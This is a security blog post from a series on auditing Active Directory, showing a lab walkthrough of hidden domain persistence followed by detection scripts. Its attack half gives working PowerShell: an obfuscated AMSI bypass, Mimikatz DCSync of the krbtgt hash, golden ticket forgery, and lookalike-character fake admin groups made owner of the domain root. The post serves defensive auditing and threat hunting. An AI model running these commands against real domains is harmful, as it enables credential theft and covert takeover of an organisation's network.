TL;DR walkthrough of a potential TTP for sneaky persistence. This idea was borrowed from a popular phishing TTP.
Welcome to Part IX of our Auditing AD Series.
Part I: 3 warm up questions to get us started
Part II: Who can reset the CISO’s password?
Part III: Who can execute DCSync?
Part IV: Who can modify the Domain Admins group?
Part V: Domain dominance in minutes via ACL abuse (i.e. why auditing AD matters)
Part VI: Why Allow statements matter a LOT more than Deny ones
Part VII: Sneaky persistence via hidden objects in AD
Part VIII: SDDL, what is it, does it matter?
Part IX: Do you know who owns your domain?
Part X: Who can push ransomware via Group Policy?
Part XI: Free ways to simplify auditing AD
Part XII: Sidenote on arcane rights like Self
Part XIII: Sidenote on the ScriptPath right
Part XIV: Self & so called “Effective Permissions”
Part XV: Inheritance Explained & an Example
Part XVI: Summary of our Auditing AD Series
Annex A: Scrubbing Group Policy for local admins
Annex B: What Property Sets in AD are, & why they matter
Annex C: Dangerous Rights & RE GUIDs Cheatsheet
Annex D: Mishky’s Blue Team Auditor
Annex E: Even ChatGPT gets this stuff wrong
Annex F: Get-ADPermission Cheatsheet
Annex G: Mishky’s Red Team Enumerate & Attack tools
A potential TTP for sneaky persistence
Anything look off here? Who owns this domain?
Background
This scenario was posed by Paramount Defenses here:
“By “effectively” what we mean is the following — consider that a user John Doe is a member of two groups, Group X and Group Y. Further consider that in the ACL of the domain root, the following permissions exist for Group X and Group Y -
Deny Group X All Extended Rights
Allow Group Y Full Control
Note — As you may know, each of the above is an ACE (access control entry) in an ACL (access control list), and each ACE either allows or denies either a generic or a a specific type of permission to a specific security principal.
Consequently, one might rightly assume that for starters we need to consider ALL ACEs in the ACL that specify either one of the following permissions — “Get Replication Changes” extended right, “Get Replication Changes All” extended right, All Extended Rights and Full Control.
Note: Some pros like to include the impact of being able to modify permissions on the ACL at this stage, but that is strictly speaking, an entirely separate entitlement/administrative task, which is why, strictly speaking, it need not be taken into account at this stage.”
Scenario Setup
If you want to follow along with this, you can quickly set this up in the lab:
#Create GroupX, Deny Extended all 0s
#Create GroupY, Allow GenericAll
#Add Insider to both groupsImport-Module ActiveDirectory
Set-Location AD:New-ADGroup -GroupScope Global -GroupCategory Security -Name “GroupX” -Path ‘ou=user accounts,dc=corp,dc=local’ -DisplayName “GroupX” -SamAccountName “GroupX”New-ADGroup -GroupScope Global -GroupCategory Security -Name “GroupY” -Path ‘ou=user accounts,dc=corp,dc=local’ -DisplayName “GroupY” -SamAccountName “GroupY”$acl = Get-Acl “AD:\dc=corp,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity “GroupX”).SID.Value#Deny ExtendedRight with GUID all 0s (http://www.selfadsi.org/deep-inside/ad-security-descriptors.htm)
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,”ExtendedRight”,”DENY”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid,”None”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid))
#Apply above ACL rules
Set-ACL “AD:\dc=corp,dc=local” $acl$acl = Get-ACL “AD:\dc=corp,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity “GroupY”).SID#Allow GenericAll
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,”GenericAll”,”ALLOW”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid,”None”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid))
#Apply above ACL rules
Set-ACL “AD:\dc=corp,dc=local” $aclAdd-ADGroupMember -Identity “GroupX” -Members Insider
Add-ADGroupMember -Identity “GroupY” -Members Insider
I already had an account ready to use, but you can create one by simply
New-ADUser -DisplayName “Malicious Insider” -SamAccountName “Insider” -UserPrincipalName “Insider@corp.local” -Path ‘ou=user accounts,dc=corp,dc=local’
I added them to a group I created called RDP Users, which is allowed to RDP into domain workstations, but don’t worry about that if you’re not running your lab in ESXi. The specifics of setting up a domain workstation or two and the DC in VMware’s free ESXi is best left for another article.
What would an attacker do in this case?
We have already covered much of this in prior parts of this series, such as here. We are using everyone’s favorite insider threat in this lab; our old account ‘Malicious Insider’, SamAccountName = Insider. This Domain User is mischievous, and they know how to Google. They enumerate what groups they are in and what privileges those groups have.
Upon seeing this they simply modify the domain root’s ACL in order to remove the deny ACE:
$acl = Get-ACL “AD:\dc=corp,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity “GroupX”).SID
#Change Deny ExtendedRight with GUID all 0s to Allow (http://www.selfadsi.org/deep-inside/ad-security-descriptors.htm)
$acl.RemoveAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,”ExtendedRight”,”DENY”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid,”None”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid))
#Apply above ACL rules
Set-ACL “AD:\dc=corp,dc=local” $acl
They then abuse their new found privileges to grab the krbtgt hash, forge a ticket, and use it:
#AMSI Bypass, dump krbtgt, forge a ticket
S`eT-It`em ( ‘V’+’aR’ + ‘IA’ + (‘blE:1’+’q2') + (‘uZ’+’x’) ) ( [TYpE]( “{1}{0}”-F’F’,’rE’ ) ) ; ( Get-varI`A`BLE ( (‘1Q’+’2U’) +’zX’ ) -VaL ).”A`ss`Embly”.”GET`TY`Pe”(( “{6}{3}{1}{4}{2}{0}{5}” -f(‘Uti’+’l’),’A’,(‘Am’+’si’),(‘.Man’+’age’+’men’+’t.’),(‘u’+’to’+’mation.’),’s’,(‘Syst’+’em’) ) ).”g`etf`iElD”( ( “{0}{2}{1}” -f(‘a’+’msi’),’d’,(‘I’+’nitF’+’aile’) ),( “{2}{4}{0}{1}{3}” -f (‘S’+’tat’),’i’,(‘Non’+’Publ’+’i’),’c’,’c,’ )).”sE`T`VaLUE”( ${n`ULl},${t`RuE} )Import-Module C:\Temp\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command ‘“lsadump::dcsync /user:corp\krbtgt”’
Invoke-Mimikatz -Command ‘“kerberos::golden /User:Administrator /domain:corp.local /sid:S-1–5–21–1917967189–4054103991–136247481 /krbtgt:cb542d2484aae7b5156c9a1a7bbb31e7 id:500 /ticket:golden.kirbi”’
Invoke-Mimikatz -Command ‘“kerberos::ptt golden.kirbi”’
They can now impersonate whoever they want at will. That’s great, we’ve covered this before though.
Here is where things get interesting
Let’s say they want to maintain persistence. They want to use a sneaky persistence mechanism, and they figure that some organizations are not checking their ACLs in AD … and many are probably not checking who owns them. Therefore they figure that one way to maintain sneaky persistence is to change who owns the domain root. However, they do not want this change to be easily noticeable.
What to do? Why not borrow an old phisher’s TTP, namely use a non-standard character that looks like an English letter but isn’t one? After all AD lets us do this.
New-ADObject -Name “𝖡uiltin” -Type “Container” -Path “dc=corp,dc=local”
New-ADGroup -Name “ꓮdministrators” -DisplayName “Administrators” -Path “cn=𝖡uiltin,dc=corp,dc=local” -SamAccountName “ꓮdministrators” -GroupScope Global$acl = Get-Acl “AD:\CN=ꓮdministrators,CN=𝖡uiltin,DC=corp,DC=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser -Identity “Insider”).SID
$acl.SetOwner($user)
Set-ACL “AD:\CN=ꓮdministrators,CN=𝖡uiltin,DC=corp,DC=local” $acl
$acl = Get-Acl “AD:\dc=corp,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity “ꓮdministrators”).SID
$acl.SetOwner($user)
Set-ACL “AD:\dc=corp,dc=local” $acl
Now a fake Administrators group owns the domain, and Malicious Insider owns that group. Insider did not change any ACLs, nor did they add any users to that group … yet. Later on, at a time of their choosing, they could give themselves rights to the fake Administrators group, add themselves, change the domain’s ACL, and then do whatever they want. If they have a script ready to go then this can be done in seconds.
If they want to be sly they can put the deny back in also:
#Put the orginal deny on GroupX back in
$acl = Get-ACL “AD:\dc=test,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity “GroupX”).SID
#Deny ExtendedRight with GUID all 0s (http://www.selfadsi.org/deep-inside/ad-security-descriptors.htm)
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,”ExtendedRight”,”DENY”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid,”None”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid))
#Apply above ACL rules
Set-ACL “AD:\dc=test,dc=local” $acl
It’s a moot point now. They have the krbtgt hash and they own the domain. They have two methods of persistence.
So how do we check for this?
Much like the sneaky persistence mechanism of hiding objects in an OU covered here, this post exploitation TTP really only works if you are not looking for it.
One technique is of course to include checking the current owner in your queries. If you are paranoid or threat hunting then you can query the current owner of the HVT objects such as the domain root, the AdminSDHolder, etc. An easy but not necessarily complete way to make a quick & dirty list of HVTs is below:
Get-ADGroupMember -Identity (Get-ADGroup -Filter {adminCount -eq 1} -Properties *).Name -Recursive
Then just feed your list into a query:
Import-Module ActiveDirectory
Set-Location AD:
$ErrorActionPreference = ‘SilentlyContinue’$list = @()
#Modify this if you have a forest with multiple domains
$domains = (Get-ADDomain).DistinguishedName
ForEach ($domain in $domains)
{
$owner = ((Get-Acl $domain).Owner).split(“\”)[1]
$x = (Get-ADGroup -Identity $owner).Name
$y = ((Get-ADGroup -Identity $owner).DistinguishedName)
$z = (Get-ADGroup -Identity $owner).SID.Value
#Get the Owner of EA object by Name, DN, & SID
$info = @{
“Owner’s Name”=$x
“Owner’s SID”=$z
Thing=$domain
“Owner’s DN” =$y
}
$list += New-Object psobject -Property $info
}
$list | Export-Csv ‘C:\Temp\PostResults.csv’ -Append -NoTypeInformation$list2 = @()
#Modify this if you have a forest with multiple domains
$domains = (Get-ADDomain).DistinguishedName
ForEach ($domain in $domains)
{
$holder = ((Get-Acl “cn=AdminSDHolder,cn=System,$domain”).Owner).split(“\”)[1]
$a = (Get-ADGroup -Identity $holder).Name
$b = ((Get-ADGroup -Identity $holder).DistinguishedName)
$c = (Get-ADGroup -Identity $holder).SID.Value
#Get the Owner of EA object by Name, DN, & SID
$info2 = @{
“Owner’s Name”=$a
“Owner’s SID”=$c
Thing=”AdminSDHolder”
“Owner’s DN” =$b
}
$list2 += New-Object psobject -Property $info2
}
$list2 | Export-Csv ‘C:\Temp\PostResults.csv’ -Append -NoTypeInformation$results = @()
#$Objects = (Get-ADObject -Filter * -SearchBase ‘ou=user accounts,dc=corp,dc=local’).DistinguishedName
$Objects = (Get-ADGroup -Filter {adminCount -eq 1} -Properties *).Name
ForEach ($object in $Objects)
{
$group = ((Get-Acl (Get-ADGroup $object -Properties *).DistinguishedName).Owner).split(“\”)[1]
$x = (Get-ADGroup -Identity $group).Name
$y = ((Get-ADGroup -Identity $group).DistinguishedName)
$z = (Get-ADGroup -Identity $group).SID.Value
#Get the Owner of EA object by Name, DN, & SID
$info3 = @{
“Owner’s Name”=$x
“Owner’s SID”=$z
Thing=$object
“Owner’s DN” =$y
}
$results += New-Object psobject -Property $info3
}
$results | Export-Csv ‘C:\Temp\PostResults.csv’ -Append -NoTypeInformation
This will then create an easy to skim CSV with the added bonus that any sneaky fake admin groups that are using non-standard characters will show up immediately. Below we see the fake ‘Administrators’ group in the fake ‘Builtin’ container, sticking out like a sore thumb due to how CSV exported the non-standard ‘A’ and ‘B’.
If you actually see something like this in the wild you would want to initiate your incident response plan. It is highly likely that an attacker breached your network and now owns your domain.
Alternatively, you can also just check the owner of everything against a whitelist:
Import-Module ActiveDirectory
Set-Location AD:
$ADRoot = (Get-ADDomain).DistinguishedName$ADCS_Objects = (Get-ADObject -Filter * -SearchBase $ADRoot).DistinguishedName
$Safe_Users = “Domain Admins|BUILTIN\\Administrators|NT AUTHORITY\\SYSTEM”ForEach ($object in $ADCS_Objects)
{
$BadOwner = (Get-Acl $object -ErrorAction SilentlyContinue).Owner -notmatch $Safe_Users
If ($BadOwner)
{
Write-Host “Object: $object” -ForegroundColor Red
(Get-Acl $object -ErrorAction SilentlyContinue).owner
}
}
Of course your SIEM should be alerting on changes to these objects anyway.
Sidenote
Please note that a real attacker would probably change the AdminSDHolder. I didn’t want to make a permanent change, so I did not do that. By default the process runs every hour and sets the ACL on protected objects back to what is specified in AdminSDHolder. Of course if you start screwing around with the AdminSDHolder than you can also affect all the objects that it covers. The frequency at which it runs can be changed in the registry of the DC that is the PDC emulator (FSMO roles are covered here, if you are curious what the PDC emulator is). We can see from remotely querying the registry that the default has not been changed.
Invoke-Command -ScriptBlock {Get-ItemProperty -Path Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\} -ComputerName DC
If you want to change it then create a DWORD named AdminSDProtectFrequency and set it to anything between 60 and 7200. Please note that this is NOT recommended by Microsoft.
Summary
The idea of using ownership of a HVT in AD to maintain sneaky persistence was banging around in my head for awhile. I did not see much about it on Google, so I wanted to test it out in the lab. The given scenario was a good jumping off point, since Malicious Insider had WriteOwner and WriteDACL privileges to the domain root.
Bear in mind that the owner has implicit WriteDACL privileges, even if it is not listed in the ACL. Therefore if someone is either the owner already or has WriteOwner or WriteDACL then they effectively own that object and can take whatever action they want.
Additionally, I am not all that creative or original. If I have thought of something then someone else has already done it. They may not be the type of person who shares information though.
References:
Scenario used as a jumping off point: https://blog.paramountdefenses.com/2022/04/who-can-run-dcsync-against-active-directory.html
Various TTPs to dump hashes from AD: https://airman604.medium.com/dumping-active-directory-password-hashes-deb9468d1633
Exporting arrays to CSV: https://social.technet.microsoft.com/Forums/ie/en-US/9102c629-dbb3-4c8e-a94a-1917b9d0246b/writeoutput-all-fields-on-one-line?forum=winserverpowershell
Default HVTs: https://adsecurity.org/?p=3700
Scanning for HVTs: https://adsecurity.org/?p=3658
Well known SIDs: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers
Object ownership in AD: https://secureidentity.se/object-owner/
Querying the registry: https://docs.microsoft.com/en-us/powershell/scripting/samples/working-with-registry-entries?view=powershell-7.2
AdminSDHolder & SDPROP: https://petri.com/active-directory-security-understanding-adminsdholder-object/
Ned Pyle’s FAQ on SDPROP: https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/five-common-questions-about-adminsdholder-and-sdprop/ba-p/396293
Set-Acl documentation: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl?view=powershell-7.2
Technet example, remove an ACE: https://social.technet.microsoft.com/Forums/Lync/en-US/a7c4a7a7-6c53-4ec6-b92d-035dbff13d8e/powershell-scrip-to-remove-security-permission-from-filesfolders?forum=winserverpowershell
Non-standard characters: http://www.unicode.org/Public/security/latest/confusables.txt